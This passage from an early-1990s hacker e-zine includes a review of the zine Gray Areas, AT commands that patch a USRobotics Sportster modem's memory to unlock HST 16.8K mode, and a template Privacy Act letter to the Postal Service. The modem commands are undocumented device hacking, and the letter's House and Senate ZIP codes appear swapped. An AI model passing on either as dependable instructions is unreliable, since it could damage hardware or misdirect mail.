| people up so that we do not identify with other minority groups anymore. There | |
| are so many causes now that we often do not talk to others not directly | |
| involved in our chosen causes. We believe that the methods used to catch | |
| criminals are the same regardless of the crime and that much can be learned by | |
| studying how crimes in general are prosecuted and how people's morals are | |
| judged. It is our mission to educate people so they begin to case more about | |
| the world around them. Please join our efforts by subscribing, advertising your | |
| business with us, and by spreading the word about what we're up to. | |
| __________________________ | |
| Review by Knight Lightning: | |
| I recently received a copy of the premier issue of Gray Areas, dated Fall 1992 | |
| and with a cover price of $4.50 (US). I was impressed with both the laser | |
| quality of the printing, artwork, and graphics, as well as the topics and | |
| content of the articles. | |
| I would not characterize Gray Areas as a hacker magazine, but the subject did | |
| come up in an interview with John Perry Barlow (one of the original founders of | |
| the Electronic Frontier Foundation) where he discussed the EFF and its role in | |
| defending civil liberties. | |
| No, instead I think it is safe to say that Gray Areas pays a lot of attention | |
| to the Grateful Dead. Indeed the cover story is titled "Grateful Dead | |
| Unauthorized Videos." Additionally, there are several other articles | |
| (including the John Barlow interview) that discuss varying aspects about the | |
| Dead's history, their politics, and of course their music. An advertisement | |
| for the next issue of Gray Areas reveals that even more articles relating to | |
| the Grateful Dead are on the way; so if you are a "Dead Head" you will probably | |
| fall in love with this magazine! | |
| However, the article that I appreciated most was "Zine Scene," a review of 163 | |
| alternative newsletters that included such familiar names as 2600, Hack-Tic, | |
| Full Disclosure, and TAP; and others that I intend to take a look at like Iron | |
| Feather's Journal and bOING bOING. The zines reviewed here covered every topic | |
| imaginable and I thought it was a great buffet for the mind to have such handy | |
| directory (especially since Factsheet Five went defunct about a year ago). | |
| Other interesting articles had to do with video, audio, and software piracy and | |
| reviews of music and software. I also enjoyed the great artwork found | |
| throughout the magazine in the form of visual aids, comics, and advertisements. | |
| If you are a fan of alternative music or the Grateful Dead, you'll be very | |
| sorry if you don't subscribe immediately. If you are interested in alternative | |
| publications with more interesting points of view than Time or Newsweek then | |
| you owe it to yourself to at least purchase a copy to check it out. | |
| - - - - - - - - - | |
| All letters sent to Gray Areas are presumed to be for publication unless you | |
| specifically request that they omit your name or refrain from publishing your | |
| comments. If you are writing about something which could incriminate yourself, | |
| they will protect your identity as a matter of policy. | |
| ****************************************************************************** | |
| "Turning your USR Sportster w/ 4.1 roms | |
| into a 16.8K HST Dual Standard" | |
| by | |
| The Sausage with The Mallet | |
| If you have a USRobotics Sportster FAX modem, Ver 4.1, you can issue | |
| the following commands to it to turn it into an HST 16.8K dual standard. | |
| In effect, you add HST 16.8K to its V32.bis 14.4k capability. | |
| ats11=40v1L3x4&h1&r2&b1e1b1&m4&a3&k3 | |
| atgw03c6,22gw05cd,2f | |
| ats14=1s24=150s26=1s32=8s34=0x7&w | |
| A very important item is the b1, which tells the modem to use | |
| the 16.8K HST protocol. If you do not set b1, when the Sportster | |
| connects with another V32 modem it will go through the CCITT v.32 | |
| connect tones and you will not get a 16.8K connect. | |
| If you do get an HST connect, you will not hear the "normal" | |
| train phase--instead you will hear the HST negotiation which | |
| sounds like a 2400 baud carrier. | |
| Finally, if you change the "cd" in the second line to a "cb", your | |
| modem will think it is a V.32 Courier instead of an HST 16.8K. | |
| Look for other pfine pfiles from Rancid Bacon Productions in conjunction | |
| with USDA Grade A Hackers (UGAH.) Accept no substitutes. | |
| ******************************************************************************* | |
| Request to Post Office on Selling of Personal Information | |
| In May 1992, the US Postal Service testified before the US House of | |
| Representatives' Government Operations Subcommittee that National Change of | |
| Address (NCOA) information filled out by each postal patron who moves and | |
| files that move with the Post Office to have their mail forwarded is sold to | |
| direct marketing firms without the person's consent and without informing | |
| them of the disclosure. These records are then used to target people who | |
| have recently moved and by private detective agencies to trace people, among | |
| other uses. There is no way, except by not filling out the NCOA form, to | |
| prevent this disclosure. | |
| This letter is to request information on why your personal information | |
| was disclosed and what uses are being made of it. Patrons who send in this | |
| letter are encouraged to also forward it and any replies to their | |
| Congressional Representative and Senators. | |
| Eligible requestors: Anyone who has filed a change of address notice with | |
| the Postal Service within the last five years. | |
| Records Officer | |
| US Postal Service | |
| Washington, DC 20260 PRIVACY ACT REQUEST | |
| Dear Sir/Madam: | |
| This is a request under the Privacy Act of 1974 (5 USC 552a). The Act | |
| requires the Postal Service, as a government agency, to maintain an | |
| accounting of the date, nature, and purpose of each disclosure of | |
| information about individuals. I request a copy of the accounting of all | |
| disclosures made of address change and mail forwarding information that I provided | |
| to the Postal Service. This information is maintained in USPS System of | |
| Records 010.010. | |
| On or about (date), I filed a change of address notice requesting that my | |
| mail be forwarded from (old address) to (new address). The name that I used | |
| on the change of address form was (name). | |
| This request includes the accounting of all disclosures made by the Postal | |
| Service, its contractors, and its licensees. | |
| I am making this request because I object to the Postal Service's policy of | |
| disclosing this information without giving individuals an option to prevent | |
| release of this information. I want to learn how my information has been | |
| disclosed and what uses have been made of it. Please let the Postmaster | |
| General know that postal patrons want to have a choice in how change of | |
| address information is used. | |
| If there is a fee in excess of $5 for this information, please notify me in | |
| advance. Thank you for consideration of this request. | |
| Sincerely, | |
| CC: Your Congressional Representative | |
| US House of Representatives | |
| Washington, DC 20510 | |
| Your Senators | |
| US Senate | |
| Washington, DC 20515 | |
| ------------------------------------------------------------------------------- | |